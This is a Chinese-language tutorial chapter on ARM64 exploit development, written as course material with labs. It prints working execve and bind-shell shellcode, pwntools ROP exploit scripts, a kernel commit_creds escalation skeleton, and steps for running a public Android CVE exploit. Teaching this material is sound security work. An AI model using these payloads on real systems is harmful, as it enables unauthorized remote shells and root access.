07 - Exploit 开发
完整 exploit 开发流程:信息泄露 → ROP → Shellcode。
概念速览
Exploit 开发流程:
发现漏洞 → 分析根因 → 控制执行流 → 提权/执行代码
具体步骤:
1. 信息泄露 (绕过 ASLR)
2. 触发漏洞 (控制 PC)
3. ROP Chain (绕过 DEP)
4. Shellcode 或 系统调用
5. 维持访问本章目标: 完整走一遍从漏洞到 root 的过程。
信息泄露
为什么需要?
ASLR 每次运行地址不同:
libc: 0x7f8a12340000 (这次)
libc: 0x7f9b56780000 (下次)
没有信息泄露,无法构造 ROP chain泄露技术
格式化字符串:
c
// 漏洞
printf(user_input);
// 利用
// %p 泄露栈上的地址
// %s 泄露任意地址内容部分覆盖:
c
// 只覆盖低字节,高字节保持
// 0x7fff12345678
// ^^── 覆盖这两个字节
// 利用返回值观察结果未初始化内存:
c
char buf[100]; // 未初始化
// buf 中可能包含之前的地址信息
send(fd, buf, 100, 0); // 泄露内核信息泄露:
c
// /proc/kallsyms (需要权限)
// 或通过漏洞泄露内核地址
// dmesg 信息Shellcode 编写
基本原则
位置无关:
asm
// 不能使用绝对地址
mov x0, =string // ❌ 依赖链接地址
// 使用相对寻址
adr x0, string // ✅ PC 相对避免 NULL 字节:
asm
// 问题
mov x0, #0 // 编码可能包含 0x00
// 解决
eor x0, x0, x0 // 或
sub x0, x0, x0 // 或其他方式小巧紧凑:
asm
// 越短越好
// 利用寄存器复用
// 合并指令execve Shellcode
asm
// execve("/bin/sh", NULL, NULL)
.global _start
_start:
// 清零寄存器
mov x1, xzr // argv = NULL
mov x2, xzr // envp = NULL
// 构造 "/bin/sh"
// 0x68732f6e69622f = "/bin/sh\0"
mov x3, #0x622f
movk x3, #0x6e69, lsl #16
movk x3, #0x732f, lsl #32
movk x3, #0x0068, lsl #48
// 写入栈
str x3, [sp, #-8]!
mov x0, sp // filename = sp
// execve syscall
mov x8, #221 // __NR_execve
svc #0编译提取:
bash
as -o shell.o shell.s
ld -o shell shell.o
objcopy -O binary shell shell.bin
xxd -i shell.binBind Shell
asm
// 监听端口,等待连接,提供 shell
.global _start
_start:
// socket(AF_INET, SOCK_STREAM, 0)
mov x0, #2 // AF_INET
mov x1, #1 // SOCK_STREAM
mov x2, xzr // protocol
mov x8, #198 // __NR_socket
svc #0
mov x19, x0 // save sockfd
// bind
sub sp, sp, #16
mov w3, #0x5c11 // port 4444 (BE: 0x115c)
movk w3, #0x0002, lsl #16 // AF_INET
str w3, [sp]
str xzr, [sp, #4] // INADDR_ANY
mov x0, x19 // sockfd
mov x1, sp // addr
mov x2, #16 // addrlen
mov x8, #200 // __NR_bind
svc #0
// listen
mov x0, x19
mov x1, #1
mov x8, #201 // __NR_listen
svc #0
// accept
mov x0, x19
mov x1, xzr
mov x2, xzr
mov x8, #202 // __NR_accept
svc #0
mov x19, x0 // client fd
// dup2 for stdin/stdout/stderr
mov x1, xzr
.Ldup2_loop:
mov x0, x19
mov x8, #24 // __NR_dup3
svc #0
add x1, x1, #1
cmp x1, #3
b.lt .Ldup2_loop
// execve("/bin/sh", NULL, NULL)
adr x0, .Lbinsh
mov x1, xzr
mov x2, xzr
mov x8, #221
svc #0
.Lbinsh:
.asciz "/bin/sh"完整 Exploit 流程
用户态 Exploit
python
#!/usr/bin/env python3
from pwn import *
context.arch = 'aarch64'
context.log_level = 'debug'
# 1. 连接目标
io = process("./vuln")
# io = remote("target", 1337)
# 2. 泄露 libc 地址
io.sendline(b"%p.%p.%p.%p.%p")
leak = io.recvline()
libc_leak = int(leak.split(b'.')[3], 16)
libc_base = libc_leak - 0x12345 # 根据偏移计算
log.info(f"libc base: {hex(libc_base)}")
# 3. 计算 gadget 和函数地址
system = libc_base + 0x45678
binsh = libc_base + 0x18abcd
pop_x0 = libc_base + 0x12345
# 4. 构造 ROP chain
payload = b"A" * 72 # 填充
payload += p64(pop_x0) # gadget
payload += p64(binsh) # /bin/sh 地址
payload += p64(system) # system()
# 5. 发送 payload
io.sendline(payload)
# 6. 获取 shell
io.interactive()内核 Exploit 框架
c
// kernel_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
// 地址 (需要泄露获取)
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
// ROP gadgets
unsigned long pop_x0_ret;
unsigned long mov_x0_x19_ret;
unsigned long ret_to_user;
void get_root_shell() {
if (getuid() == 0) {
printf("[+] Root!\n");
system("/bin/sh");
} else {
printf("[-] Exploit failed\n");
}
}
void build_rop_chain(unsigned long *rop) {
int i = 0;
// prepare_kernel_cred(0)
rop[i++] = pop_x0_ret;
rop[i++] = 0; // x0 = 0
rop[i++] = prepare_kernel_cred;
// commit_creds(new_cred)
// 返回值在 x0,正好作为参数
rop[i++] = commit_creds;
// 返回用户态
rop[i++] = ret_to_user;
rop[i++] = (unsigned long)get_root_shell; // 用户态地址
}
int main() {
// 1. 信息泄露获取地址
leak_kernel_addresses();
// 2. 触发漏洞,执行 ROP
unsigned long rop_chain[20];
build_rop_chain(rop_chain);
trigger_vulnerability(rop_chain);
// 不应该到这里
return 0;
}CVE 案例分析
实战场景
Lab 1: 编写 Shellcode
目标: 编写执行 /bin/sh 的 shellcode
bash
# 创建 shellcode
cat > shell.s << 'EOF'
.global _start
_start:
mov x1, xzr
mov x2, xzr
mov x3, #0x622f
movk x3, #0x6e69, lsl #16
movk x3, #0x732f, lsl #32
movk x3, #0x0068, lsl #48
str x3, [sp, #-8]!
mov x0, sp
mov x8, #221
svc #0
EOF
# 编译
aarch64-linux-gnu-as -o shell.o shell.s
aarch64-linux-gnu-ld -o shell shell.o
# 测试
qemu-aarch64 ./shell
# 提取字节
aarch64-linux-gnu-objcopy -O binary shell shell.bin
xxd shell.binLab 2: 构造完整 Exploit
目标: 利用栈溢出获取 shell
c
// target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void vuln() {
char buf[64];
printf("Input: ");
read(0, buf, 200); // 溢出
}
int main() {
setbuf(stdout, NULL);
vuln();
return 0;
}python
# exploit.py
from pwn import *
context.arch = 'aarch64'
# 启动
io = process(['qemu-aarch64', '-g', '1234', './target'])
# 或直接
# io = process('./target')
# 构造 payload
shellcode = bytes.fromhex(
"e1031faa" # mov x1, xzr
"e2031faa" # mov x2, xzr
# ... 完整 shellcode
)
# 使用 ROP 的方式 (假设有 gadget)
# 或者 ret2shellcode (如果栈可执行)
payload = b"A" * 72
payload += p64(0xdeadbeef) # 返回地址
io.sendline(payload)
io.interactive()Lab 3: 复现 CVE
bash
# 1. 设置环境
# Android 模拟器 (Android 9/10)
# 或有漏洞版本的物理设备
# 2. 获取 exploit
git clone https://github.com/example/cve-2019-2215.git
# 3. 交叉编译
aarch64-linux-android-gcc -o exploit exploit.c
# 4. 运行
adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit防护绕过总结
| 防护 | 绕过方式 |
|---|---|
| ASLR | 信息泄露 |
| Stack Canary | 泄露 canary 或跳过 |
| DEP/NX | ROP |
| CFI | 利用合法目标 |
| PAC | 泄露 key 或找未保护路径 |
| KASLR | 内核信息泄露 |
| PAN | 使用内核地址 |
| SMEP | ROP 到内核代码 |
常见陷阱
❌ 陷阱 1: 环境差异
bash
# 本地能用,设备不能用
# 检查:
# - libc 版本不同
# - 内核版本不同
# - 安全配置不同
# 解决: 获取目标环境的精确版本❌ 陷阱 2: 竞态不稳定
c
// UAF 竞态难以稳定触发
// 解决:
// - 增加线程
// - 调整优先级
// - 多次尝试
// - 增大竞态窗口❌ 陷阱 3: 崩溃分析
bash
# exploit 失败后查看日志
adb shell dmesg | tail -50
adb logcat -d | grep -i crash
# 根据 PC 值判断问题
# - ROP gadget 错误
# - 地址计算错误
# - 栈对齐问题深入阅读
推荐资源:
推荐工具:
- pwntools
- ROPgadget / ropper
- GEF / pwndbg
- Frida
- Ghidra / IDA Pro
相关章节:
- 05 - 控制流劫持 - ROP 技术
- 06 - 内存破坏 - 漏洞类型
系列总结
ARM64 Assembly Essentials 完成!你现在应该能够:
- ✅ 读写 ARM64 汇编代码
- ✅ 理解调用约定和栈帧
- ✅ 使用 GDB 和 Ghidra 调试逆向
- ✅ 分析和构造 ROP chain
- ✅ 理解常见内存漏洞
- ✅ 开发完整 exploit
进阶方向
Android 内核漏洞挖掘
- Fuzzing (syzkaller)
- 代码审计
硬件相关
- TrustZone
- Side-channel
浏览器漏洞
- JavaScript 引擎
- WebAssembly
继续学习:
- C Essentials - 内核开发
- Rust Essentials - 安全编程
- Android Security Notes - 完整知识体系